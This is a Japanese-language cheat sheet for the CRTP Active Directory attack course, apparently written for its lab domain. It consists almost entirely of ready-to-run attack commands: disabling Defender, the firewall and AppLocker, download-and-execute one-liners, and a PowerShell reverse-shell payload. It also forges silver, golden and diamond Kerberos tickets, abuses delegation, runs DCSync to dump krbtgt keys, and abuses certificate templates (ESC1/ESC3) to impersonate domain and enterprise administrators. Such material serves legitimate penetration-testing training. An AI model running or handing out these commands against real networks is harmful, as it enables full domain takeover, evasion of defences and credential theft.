CRTP CheatSheet
参考リンク
目次
1. 一般
1-1. セキュリティ機能の無効化
管理者権限が必要
コマンド
# =============================================
# Windows Defender
# =============================================
# リアルタイム監視を無効化
Set-MpPreference -DisableRealtimeMonitoring $true
# ダウンロードファイル保護を無効化
Set-MpPreference -DisableIOAVProtection $true
# =============================================
# Windows Firewall
# =============================================
# Windows Firewallの無効化
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Windows Defender(GUI)
Start -> Settings -> Update & Security -> Windows Security -> Virus & threat protection -> Virus & threat protection settings -> Manage settings
-> Real-time protection: OFF
-> Tamper Protection: OFF
Windows Firewall(GUI)
Control Panel -> System and Security -> Windows Firewall -> Turn Windows Firewall on or off -> Domain networks
1-2. セキュリティ機能の検知回避
# =============================================
# InviShell / ロギングやAMSIを回避
# =============================================
InviShell\RunWithRegistryNonAdmin.bat
# =============================================
# Manual
# =============================================
# 1. 拡張スクリプトブロックロギングのバイパス(AMSIバイパスをロギングされないようにする)
***
# 2. AMSI Bypass
***
1-3. アプリケーション実行制御の無効化
レジストリの書き換え
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Dll" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Msi" /v EnforcementMode /t REG_DWORD /d 0 /f
GPOの書き換え
$path="\\dcorp-dc\SYSVOL\dollarcorp.moneycorp.local\Policies\{0D1CC23D-1F20-4EEE-AF64-D99597AE2A6E}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
(Get-Content $path) | Where-Object {$_ -notmatch "AppLocker|SrpV2"} | Set-Content $path
1-4. ファイル配送
# =============================================
# HTTP
# =============================================
# ポートフォワーディング
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.24
# Download
## .NET APIによる実行
(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8080/<File>', '<Dest Path>')
## PowerShellコマンドレットによる実行
iwr http://172.16.100.24/Loader.exe -OutFile C:\Users\Public\Loader.exe
# Download and execute
## .NET APIによる実行
iex ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/PowerView.ps1'))
## PowerShellコマンドレットによる実行
iex (iwr http://127.0.0.1:8080/Invoke-PowerShellTcp.ps1 -UseBasicParsing)
# =============================================
# SMB
# =============================================
# cmd
echo F | xcopy C:\Users\Public\Loader.exe \\<computername>\C$\Users\Public\Loader.exe
# powershell
Copy-Item .\Invoke-MimiEx-keys-std24.ps1 \\<computername>\c$\'Program Files'
# =============================================
# RDP
# =============================================
xfreerdp3 /dynamic-resolution /drive:crtp,/home/kali/crtp/Tools /cert:ignore /v:172.16.100.24 /u:'<domain>\<username>' /p:<password> +clipboard
1-5. ツールロード
# =============================================
# Enumeration
# =============================================
# PowerView
. .\PowerView.ps1
# Active Directory Module
Import-Module .\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
# PowerHunt
Import-Module .\PowerHuntShares.psm1
# =============================================
# BloodHound
# =============================================
## コンテナ群の起動
sudo docker compose up -d
## 初期パスワードの取得
docker compose logs | grep "Initial Password Set To"
## コンテナの停止と削除
sudo docker compose down --volumes
## コレクターのインポートと実行
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# =============================================
# Privilege Escalation
# =============================================
# PowerUp
. .\PowerUp.ps1
# PrivCheck
. .\PrivEscCheck.ps1
# =============================================
# リバースシェル
# =============================================
# リスナーの起動
.\netcat-win32-1.12\nc64.exe -lvp 443
# ペイロードの作成
powershell.exe iex (iwr http://172.16.100.24/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.24 -Port 443
1-6. 不具合対処
kerberos関連のチケットがうまくいかない場合の対処
# チケットの確認
klist
## opsecに配慮する場合
loader.exe -path Rubeus.exe -args klist
# チケットの削除
klist purge
# 特定のチケットの削除
loader.exe -path Rubeus.exe -args purge /luid:<luid>
2. 列挙
2-1. フォレスト、ドメイン、ドメインの信頼関係
- 1回のみ実行すればよい
- フォレスト名、ドメイン名を省略すると現在の環境が自動指定される
# 現在のフォレスト
Get-Forest
# フォレストの信頼関係
Get-ForestTrust
# フォレストのドメイン一覧
Get-ForestDomain -Forest <forest name> | Select-Object -Property Name, Parent, Children, DomainControllers
# ドメインの信頼関係
## Bidirectional:双方向信頼
## FILTER_SIDS:流入してきた情報を適切にフィルタする
Get-DomainTrust -Domain <domain name> | Select-Object -Property SourceName, TargetName, TrustAttributes, TrustDirection
# 指定したドメインの信頼関係を表示
Get-ForestDomain -Forest <forest name> | %{Get-DomainTrust -Domain $_.Name}
# 指定したドメインの外部への信頼のみ表示
Get-ForestDomain -Forest <forest name> | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
# ドメイン情報
Get-Domain -Domain <domain name>
# ドメインSID
Get-DomainSID -Domain <domain name>
# ドメインコントローラー
Get-DomainController -Domain <domain name>
2-2. ドメインユーザー、グループ
# ドメインユーザーの一覧
Get-DomainUser | Select-Object -Property samaccountname, useraccountcontrol, msds-allowedtodelegateto
# ドメインユーザーのSID
Get-DomainUser -Identity "Administrator" | Select-Object -Property name, objectsid
# ビルトインユーザーの一覧
Get-DomainUser -LDAPFilter "Description=*built*" | Select name,Description
# ドメインのグループ一覧
Get-DomainGroup | select -ExpandProperty samaccountname
# ドメイングループ名にAdminが付くもの
Get-DomainGroup *admin* | select -ExpandProperty samaccountname
# Domain Adminsグループに属しているユーザー一覧
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select -ExpandProperty memberName
# Enterprise Adminsグループの詳細確認
Get-DomainGroup -Identity "Enterprise Admins" -Domain moneycorp.local
# Enterprise Adminsグループに属しているユーザー一覧
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain moneycorp.local -Recurse | select -ExpandProperty membername
2-3. ドメインコンピューター
# ドメインコンピューター
Get-DomainComputer | Select-Object -Property name, useraccountcontrol, serviceprincipalname, msds-allowedtodelegateto | Format-List
## 省略されてしまうserviceprincipalnameをすべて表示する
Get-DomainComputer -Domain eurocorp.local -Identity eurocorp-dc -Properties serviceprincipalname | select -Expand serviceprincipalname
# 指定したマシン上のローカルグループ一覧(ドメコン以外は管理者権限が必要)
Get-NetLocalGroup -ComputerName <hostname>
# マシン上の指定したローカルグループのメンバー一覧(ドメコン以外は管理者権限が必要)
Get-NetLocalGroupMember -ComputerName <hostname> -GroupName Administrators
# SMBセッションの有無を確認
Get-NetSession -ComputerName <name>
# マシン上のアクティブなログオンユーザー一覧(対象マシンのローカル管理者権限が必要)
Get-NetLoggedon -ComputerName <name>
# マシン上のローカルアカウントにログオンユーザー一覧(対象マシンのリモートレジストリが必要)
## サーバーOSではデフォルトで有効
Get-LoggedonLocal -ComputerName <name>
# マシン上の最終ログインユーザーを取得(対象マシンの管理者権限とリモートレジストリが必要)
Get-LastLoggedOn -ComputerName <name>
2-4. 共有フォルダ
# =============================================
# PowerView
# =============================================
# ドメイン内のすべてのホスト上の共有の出力
Invoke-ShareFinder -Verbose
## 他ドメインのすべてのホスト上の共有の出力
Invoke-ShareFinder -Domain eurocorp.local
# ドメイン内のコンピュータ上の機密ファイルを検索
Invoke-FileFinder -Verbose
# ドメイン内のすべてのファイルサーバーを検索
Get-NetFileServer
# サーバーのホスト名一覧をロードし、共有権限の有無を確認
## 出力はoutputDirectoryにSmbShareHunt-**というフォルダに作られる
Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -NoPing -OutputDirectory .\ -HostList .\servers.txt
2-5. ローカル
# アカウント名
whoami
# アカウントの情報
net user /domain <username>
# ローカルアカウント情報
net user
# ローカルグループ情報
net localgroup
# ローカル管理者グループのユーザー確認
net localgroup Administrators
2-6. ACL
- ACLで以下の権限があれば乗っ取ることが可能
- GenericAll:パスワード変更、SPN設定、委任設定
- GenericWrite:SPN追加、ログオン先操作
- WriteDACL:自分にGenericAll付与
- WriteOwner:DACL奪取の起点
# グループにAddSelfできるものを表示
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Self" -and $_.ObjectType -eq "member"}
# ACL列挙
Find-InterestingDomainACL -ResolveGUIDs | Select-Object -Property ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# アカウント侵害後、そのアカウントでできることを確認
Find-InterestingDomainACL -ResolveGUIDs | ?{$_.identityreferencename -match 'ciadmin'} | Select-Object -Property ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# コンピュータアカウント
Find-InterestingDomainACL | ?{$_.ObjectDN -match "CN=COMPUTER" -and $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL"}
# 特定のオブジェクトのみ(コンピュータアカウント名($もつける)、アカウントなど)
Get-ObjectAcl -SamAccountName <object name> -ResolveGUIDs
# ユーザーのパスワードを強制上書き
Set-DomainUserPassword -Identity <username> -AccountPassword (ConvertTo-SecureString 'Pass@123' -AsPlainText -Force)
# 特定オブジェクトにGenericAllを付与
Add-DomainObjectAcl -TargetIdentity <object name> -PrincipalIdentity <attacker name> -Rights GenericAll
2-7. Kerberos関連(Kerberoast/委任)
Kerberoast, AS-REPs
- SPNがあればKerberoastを実行し、なければACL列挙を行う
- アカウントに対する書き込み権限があればSPNを設定し、Kerberoastができる
- Kerberos事前認証が不要であればAS-REPs攻撃でオフラインでパスワードのクラックが可能
# =============================================
# SPN列挙 -> Kerberoast
# =============================================
## サービスアカウントの列挙
Get-NetUser -SPN -Domain <domain name>
# =============================================
# Kerberos事前認証が不要なアカウントの列挙
# =============================================
Get-DomainUser -PreauthNotRequired -Domain <domain name> | Select-Object -Property userprincipalname, useraccountcontrol | Format-List
委任
- 制約付き委任:そのユーザー名とAESキーがわかれば、委任先のホスト、リソースに限定して存在する任意のユーザー名を偽り、その偽ったユーザーのチケットが入手できる
- サービスアカウント自身の資格情報だけで任意ユーザーのサービスチケットを許可された SPN に限って生成できる
-
TRUSTED_TO_AUTH_FOR_DELEGATIONはユーザー本人の認証情報なし(他人を名乗っても検証しない)で任意ユーザーのサービスチケットを要求してよいという意味
- 制約のない委任:そのホスト(またはサービス)上で動作するアカウントの権限を奪取できれば、そのホストに“実際に認証してきた”任意のユーザーについて、偽装を行うことなく、そのユーザーの TGT(チケット)をそのまま入手できる
- このコンピューター/サービスにログオンしたユーザーのTGT をそのまま預かり、どこにでも代理アクセスできる
- とあるサービス、アカウントが他人の認証情報を用いて他のリソースにアクセスする仕様があり、有効になっている場合は悪用することが可能である。
-
TRUSTED_FOR_DELEGATIONが設定されているものが委任可能フラグ
# =============================================
# 委任
# =============================================
# リソースベースの制約付き委任が可能なACLを探索
Find-InterestingDomainACL -ResolveGUIDs | Select-Object -Property ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# 制約付き委任が有効になっているものを探索
## ユーザーアカウント
Get-DomainUser -TrustedToAuth | Select-Object -Property samaccounttype,userprincipalname,msds-allowedtodelegateto,useraccountcontrol | Format-List
## コンピュータアカウント
Get-DomainComputer -TrustedToAuth | Select-Object -Property samaccounttype, samaccountname,msds-allowedtodelegateto,useraccountcontrol | Format-List
# 制約のない委任が有効になっているものを探索
Get-DomainComputer -Unconstrained | select -ExpandProperty name
2-8. 横展開先
アカウントを入手、グループへ追加したあとに必ずやること
アカウントのクレデンシャル取得後もしくはグループへJoin後、以下の観点で再確認を行う
- そのアカウントはどの端末に横展開できるか?
Find-LocalAdminAccess
- 自身がアクセスできる端末上でどのようなセッションがあるか?
Find-DomainUserLocation
-
Enter-PSSessionでアクセスできる端末はどれか?Find-PSRemotingLocalAdminAccess
管理者権限を持つ端末の探索
# 自身がローカル管理者権限を持つマシンの列挙
Find-LocalAdminAccess
# DomainAdminsグループのアカウントがログインしている端末の探索
## -UserGroupIdentity:グループ指定
Find-DomainUserLocation
# 管理者としてWinRM接続できるマシンの列挙
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
# 管理者としてWMI接続できるマシンの列挙
. .\Find-WMILocalAdminAccess.ps1
Find-WMILocalAdminAccess
コンピュータ上のセッションの探索
そのコンピュータ上でクレデンシャルダンプすれば、そのユーザーのクレデンシャルを取得可能である。
# =============================================
# ターゲットリストを作成
# =============================================
# ドメコン以外をターゲットリストに記述する
Get-DomainComputer | Select-Object -Property name
# =============================================
# セッションの列挙
# =============================================
. .\Invoke-SessionHunter.ps1
Invoke-SessionHunter -NoPortScan -RawResults -Target .\target.txt | select Hostname,UserSession,Access
2-9. AD CS
- ESC1
- Enrollment Rightsに自分のグループが入っていれば任意のユーザーと名乗り証明書を発行要求できる
- ESC3
- 第一のテンプレートで
pkiextendedkeyusage : Certificate Request Agentであれば証明書を代理要求できる - 第二のテンプレートで
Authorized Signatures Required : 1かつApplication Policies : Certificate Request Agentになっていれば第一のテンプレートの要件を満たしてしまう-
Authorized Signatures Required : 1:「誰が」署名したかはチェックするが、「その代理人が、このユーザー(管理者)の代わりに申請してよい関係性か」まではチェックしない
-
- 第一のテンプレートで
ポイントはEnrollment Rightsは代理人の許可として権限が与えられてしまうため、ターゲットとなるアカウントを詐称して発行要求を行っても、そもそもの仕組みとして代理人として要求は許可されているため通ってしまう。
# AD CSを列挙
.\Certify.exe cas
# AD CSのテンプレートの列挙
.\Certify.exe find
.\Certify.exe find | find "Template Name"
# リクエスト元がサブジェクト名を指定できるテンプレートを列挙(ESC1)
.\Certify.exe find /enrolleeSuppliesSubject
# 脆弱なテンプレートの列挙(ESC3)
.\Certify.exe find /vulnerable
2-10. 権限昇格
# すべてのチェックを行う
. .\PowerUp.ps1
Invoke-AllChecks
2-11. OU、GPO
どのコンピュータにどんな制御がかかっているか、などを確認する。
特定完了後、GPOの無効化などをアプリケーション実行制御の無効化を参照して実行する。
# =============================================
# OU
# =============================================
# OU一覧
Get-DomainOU | select -ExpandProperty name
# 指定したOUに属するコンピュータ一覧を列挙
(Get-DomainOU -Identity <OU name>).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
# =============================================
# GPO
# =============================================
# GPO一覧の表示
Get-DomainGPO
# 指定したOUに紐づけられているグループポリシーを列挙
(Get-DomainOU -Identity <OU name>).gplink
# GPOの詳細表示
Get-DomainGPO -Identity '<GPO name>'
# OU名を指定してGPOの詳細を表示
Get-DomainGPO -Identity (Get-DomainOU -Identity <OU name>).gplink.substring(11,(Get-DomainOU -Identity <OU name>).gplink.length-72)
# GPOを編集できるユーザーもしくはグループの表示
Get-DomainGPO -Identity "<GPO name>" |
Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite|WriteDacl|WriteOwner"} |
Select-Object @{n="Identity";e={ConvertFrom-SID $_.SecurityIdentifier}}, ActiveDirectoryRights
GPOの詳細確認
# GPOの名前とパスを確認
Get-DomainGPO -Identity "Applocker" | Select-Object displayname, cn, gpcfilesyspath
# 設定を出力する
Get-GPOReport -Guid "<GPO cn>" -ReportType Xml -Path .\Applocker.xml
2-12. BloodHound
複雑な権限($\text{GenericAll}$, $\text{WriteDacl}$など)を含む全アウトバウンド制御
MATCH p=(u:User {name:'<username>@<domain>'})-[r:MemberOf|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)
RETURN p
ユーザー一覧表示
u:Userの値を以下に変更することにより、それぞれ表示できる
- Group
- Computer
- Domain
- GPO
- OU
- などなど
MATCH (u:User)
WHERE NOT u.name =~ '(?i)(control|support|vpn).*'
return u
AddSelfを持つノード関連をすべて表示
MATCH p = (n)-[:AddSelf]->(g)
RETURN p
AddSelfから横展開できるパターンの表示
MATCH p = (c:Computer)-[:AddSelf]->(g:Group)-[:AdminTo]->(t)
RETURN p
2-13. SQL
# InviShellを実行したのちロード
Import-Module .\PowerUpSQL-master\PowerupSQL.psd1
# SQLインスタンスを列挙
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# データベースのリンク状況を自動的に列挙
Get-SQLServerLinkCrawl -Instance <full_hostname> -Verbose
HideSQLを起動し、Microsoft SQLをDB種別に指定後、Windows Authenticationのチェックを入れてアクセスする。
# DB列挙
select * from master..sysservers
# <hostname>経由でどこにつながっているか列挙
select * from openquery("<hostname>",'select * from openquery("<hostname>",''select * from master..sysservers'')')
2-14. AppLocker
# AppLockerによる制御有無の確認
## cmd
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2
## 詳細確認
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2\Script\06dce67b-934c-454f-a263-2515c8796a5d
## powershell
Get-AppLockerPolicy -Effective
3. 権限昇格
3-1. ローカル管理者
# =============================================
# PowerUp
# =============================================
# ロード
. .\PowerUp.ps1
# すべてのチェックを行う
Invoke-AllChecks
# ローカル管理者グループにユーザーを追加する
## 以下は例であり、Invoke-AllCheksの AbuseFunction 部分に-UserNameを加える
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName '<domain>\<username>'
# グループのユーザーを確認する
net localgroup Administrators
# ファイアウォールを無効化する
Start > Settings > Update & Security > Windows Security > Firewall & network protection
# AntiVirus機能を無効化する
Start > Settings > Update & Security > Windows Security > Virus & threat protection > Virus & threat protection settings > Manage settings
Real-time protection: OFF
Tamper Protection: OFF
## ローカル管理者への追加
net localgroup Administrators /add <username>
3-2. Over Pass The Hash
必ず管理者権限でシェルを立ち上げる必要がある。
- DCにTGTを要求する
- ネットワーク通信時のみ指定したユーザー権限となる
- pass the ticketを行う
# 指定したユーザー権限でシェルを起動する
## 立ち上がったシェルでwhoamiしてももとのアカウント名になるため混乱しないように
## [powershell] C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:svcadmin /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
3-3. シルバーチケット
指定したユーザーのSIDの確認でAdministratorのSID(-500を削除したやつ)を確認すること
# .\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:http/<hostname> /rc4:<machine_account> /sid:<domain_cid> /ldap /user:Administrator /domain:<domain_FQDN> /ptt
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:http/<hostname> /rc4:7da175f763797d9f5f39a4e5c519860a /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:<domain_FQDN> /ptt
3-4. ゴールデンチケット
## [powershell] C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
# ドメインのSIDチェック(PowerView)
Get-NetUser | select displayName, objectsid
# チケット偽造コマンドの発行
## AdministratorはWindows Serverのビルトインアカウント
.\Loader.exe -path .\Rubeus.exe -args evasive-golden /aes256:<hash> /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd
# コマンドを用いて偽造する
## Loaderの後ろに -path .\Rubeus.exe -args を付与、末尾に /ptt を付与する
.\Loader.exe -path .\Rubeus.exe -args Evasive-Golden /aes256:<hash> /user:Administrator /id:500 /pgid:513 /domain:<domain_FQDN> /sid:S-1-5-21-719815819-3726368948-3917688648 /pwdlastset:"11/11/2022 6:34:22 AM" /minpassage:1 /logoncount:324 /netbios:dcorp /groups:544,512,520,513 /dc:hostname.<domain_FQDN> /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt
3-5. ダイヤモンドチケット
.\Loader.exe -path .\Rubeus.exe -args diamond /krbkey:<hash> /tgtdeleg /enctype:aes /ticketuser:administrator /domain:<domain_FQDN> /dc:<hostname>.<domain_FQDN> /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
3-6. 委任
委任とは「あるアカウントが 別のユーザーとして Kerberos のサービスチケットを 代理で要求してよい という KDC 上の公式ルール」
- 制約のない委任:すべてのリソースへのアクセスを代理要求してよい
- 制約付き委任:指定されたSPNへのアクセスは代理要求してよい
- リソースベース制約付き委任:指定したアカウントのみ代理要求してよい
制約付き委任
制約付き委任の列挙により有効になっている端末を見つけたら、そのアカウントを対象に作業する。
s4u:Service for User
取得したユーザー名とそのAES256ハッシュを用いる
# =========================
# ドメインアカウントの場合
# =========================
.\Loader.exe -path .\Rubeus.exe -args s4u /user:<username> /aes256:<hash> /impersonateuser:Administrator /msdsspn:"CIFS/<hostname_FQDN>" /ptt
# =========================
# コンピュータアカウントの場合
# =========================
.\Loader.exe -path .\Rubeus.exe -args s4u /user:<username> /aes256:<hash> /impersonateuser:Administrator /msdsspn:time/<hsotname_FQDN> /altservice:ldap /ptt
# 攻撃用マシンアカウント作成
New-MachineAccount -MachineAccount attacker$ -Password 'Pass@123'
# RBCD設定
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$
# なりすまし
Rubeus s4u /user:attacker$ /rc4:<hash> /impersonateuser:administrator /msdsspn:CIFS/target
リソースベースの制約付き委任(RBCD)
アカウントを侵害後、ACLの権限確認にてObjectDNのCNへ書き込み権限があれば、委任要求を受け付けることができるように設定できる。
# CNへの委任要求を許可する
Set-DomainRBCD -Identity <hostname> -DelegateFrom '<username>' -Verbose
# 許可されたか確認
Get-DomainRBCD
# AESキーを取得(なりすまし要求に必要)
.\Loader.exe -Path .\SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
# Administratorになりすまして要求する
.\Loader.exe -path .\Rubeus.exe -args s4u /user:<username> /aes256:<hash> /msdsspn:http/<hostname> /impersonateuser:administrator /ptt
制約のない委任
制約のない委任の列挙により有効になっている端末を見つけたら、そのホストの管理者権限を有するアカウントで作業をする
# なりすます
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:appadmin /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
# 配送
echo F | xcopy .\Loader.exe \\<hostname>\C$\Users\Public\Loader.exe /Y
# セットアップ
.\InviShell\RunWithRegistryNonAdmin.bat
winrs -r:<hostname> cmd /c "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.24"
winrs -r:<hostname> cmd
# =========================
# 権限昇格作業(ドメイン管理者)
# =========================
# TGTを観測する(委任設定されているホスト上のシェル)
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args monitor /targetuser:<username> /interval:5 /nowrap
# トリガーさせる
## 踏み台の別シェル
.\MS-RPRN.exe \\<hsotname>.<domain_FQDN> \\<hostname>.<domain_FQDN>
# 取得したコンピュータアカウントのbase64ハッシュをもとにチケットをLSASSへ挿入する
## 新しい管理者権限を有するシェル
.\Loader.exe -path .\Rubeus.exe -args ptt /ticket:<base64 data>
# 任意のコードを実行する
## 例としてDCsyncを行う
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt" "exit"
# =========================
# 権限昇格作業(エンタープライズ管理者)
# =========================
# チケット観測
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args monitor /targetuser:<username> /interval:5 /nowrap
# トリガーさせる
## 踏み台の別シェル
.\MS-RPRN.exe \\<hostname_FQDN> \\<hostname_FQDN>
# 任意のコードを実行する
## DCsync
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt /domain:<domainname>" "exit"
3-7. クロスドメイン
他のドメインへ横展開するためにEnterprise Adminsグループに属するユーザーに偽装する必要がある。
以下の流れで攻撃する。
- ドメインコントローラ上でドメイン間信頼キーを取得する
- チケット偽造用のコマンドを発行する
- チケットを偽造する
権限昇格したら他ドメイン上でクレデンシャルダンプを行い横展開用のクレデンシャルを取得する
他ドメインへのシルバーチケットでの展開
| key | value | description |
|---|---|---|
/service |
krbtgt/<curent domain FQDN> |
krbtgtアカウントの所属するドメインのFQDN |
/rc4 |
<rc4_hmac_nt> |
ドメイン信頼キー |
sid |
<current domain SID> |
現在のドメインのSID(Get-DomainSID) |
sids |
<enterprise admins sid> |
Enterprise AdminsグループのSID(`Get-DomainGroup -Identity "Enterprise Admins" -Domain moneycorp.local |
# 1. ドメインコントローラ上でドメイン間信頼キーを取得する
## ★[In]現在のドメイン → ターゲットドメインのrc4_hmac_nt値をコピーする
winrs -r:<hostname> cmd /c "C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "lsadump::evasive-trust /patch" "exit""
# 2. チケット偽造用のコマンドを発行する
# sid: Get-DomainSID -Domain dolloarcorp.moneycorp.local
# sids: Get-DomainGroup -Identity "Enterprise Admins" -Domain moneycorp.local | Select-Object objectsid
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:krbtgt/<curent domain FQDN> /rc4:<rc4_hmac_nt> /sid:<current domain SID> /sids:<enterprise admins sid> /ldap /user:Administrator /nowrap
# 3. チケットを偽造する
.\Loader.exe -path .\Rubeus.exe -args asktgs /service:http/<related_domain_DC_FQDN> /dc:<related_domain_DC_FQDN> /ptt /ticket:<base64>
他ドメインへのゴールデンチケットでの展開
| key | value | description |
|---|---|---|
/aes256 |
<krbtgt aes256_hmac> |
krbtgtアカウントのAES256キー |
sid |
<current domain SID> |
現在のドメインのSID(Get-DomainSID) |
# 1. ゴールデンチケット発行用コマンドの生成
.\Loader.exe -path .\Rubeus.exe -args evasive-golden /aes256:<krbtgt aes256_hmac> /sid:<current domain SID> /ldap /user:Administrator /printcmd
# 2. 出力されたコマンドに -path .\Rubeus.exe -args と /ptt を加えて実行する
# ゴールデンチケットを偽造しLSASSへ挿入する
3-8. AD CS
ESC1
AD CSの列挙でESC1のミスコンフィグレーションがある場合、任意のユーザーになりすまして証明書を要求することができる。
発行が成功すればそのユーザーとして任意のサービスにアクセスできる。
# =========================
# Domain Admins
# =========================
# Administratorとして証明書を要求する
.\Certify.exe request /ca:mcorp-<domain_FQDN>\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator
# 証明書の形式を変換する
.\openssl\openssl.exe pkcs12 -in .\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc1-DA.pfx
# AdministratorとしてTGTを要求する
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:administrator /certificate:".\esc1-DA.pfx" /password:SecretPass@123 /ptt
# =========================
# Enterprise Admins
# =========================
# Enterprise Adminsに属するアカウントとして証明書を要求する
.\Certify.exe request /ca:mcorp-<domain_FQDN>\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:moneycorp.local\administrator
# 証明書の形式を変換する
.\openssl\openssl.exe pkcs12 -in .\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc1-EA.pfx
# Enterprise Adminsに属するアカウントとしてTGTを要求する
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:moneycorp.local\Administrator /dc:mcorp-<domain_FQDN> /certificate:.\esc1-EA.pfx /password:SecretPass@123 /ptt
ESC3
AD CSの列挙でESC3のミスコンフィグレーションがある場合、任意のユーザーに代わって証明書を要求することができる。
# =========================
# 代理要求を許可する証明書の発行
# =========================
# テンプレートを指定して代理申請の証明書を要求する
.\Certify.exe request /ca:mcorp-<domain_FQDN>\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent
# フォーマットを変換する
.\openssl\openssl.exe pkcs12 -in .\esc3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc3-agent.pfx
# =========================
# なりすまし用証明書の発行
# Domain Adminsユーザー
# =========================
# ドメイン管理者として証明書発行を要求する
.\Certify.exe request /ca:mcorp-<domain_FQDN>\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:<domain>\administrator /enrollcert:.\esc3-agent.pfx /enrollcertpw:SecretPass@123
# フォーマットを変更する
.\openssl\openssl.exe pkcs12 -in .\esc3-DA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc3-DA.pfx
# =========================
# なりすまし用証明書を用いてTGTを発行しメモリへ挿入する
# Domain Adminsユーザー
# =========================
# 証明書に基づきリソースアクセスへのTGTを要求する
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:administrator /certificate:esc3-DA.pfx /password:SecretPass@123 /ptt
# =========================
# なりすまし用証明書の発行
# Enterprise Adminsユーザー
# =========================
# ドメイン管理者として証明書発行を要求する
.\Certify.exe request /ca:mcorp-<domain_FQDN>\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:mcorp\administrator /enrollcert:.\esc3-agent.pfx /enrollcertpw:SecretPass@123
# フォーマットを変更する
.\openssl\openssl.exe pkcs12 -in .\esc3-EA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\esc3-EA.pfx
# =========================
# なりすまし用証明書を用いてTGTを発行しメモリへ挿入する
# Enterprise Adminsユーザー
# =========================
# 証明書に基づきリソースアクセスへのTGTを要求する
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:moneycorp.local\administrator /certificate:.\esc3-EA.pfx /dc:mcorp-<domain_FQDN> /password:SecretPass@123 /ptt
4. クレデンシャルダンプ
4-1. Kerberost
サービスを利用したいためTGSを要求する。TGSはそのアカウント(/user)のパスワードを用いてハッシュ化されているため、ハッシュを取得する。
また、dcにログインできたらDCsyncをしてkrbtgtアカウントのAESを取得できる。そこからゴールデンチケットなどに発展させられる。
# cmdシェルで実行すること
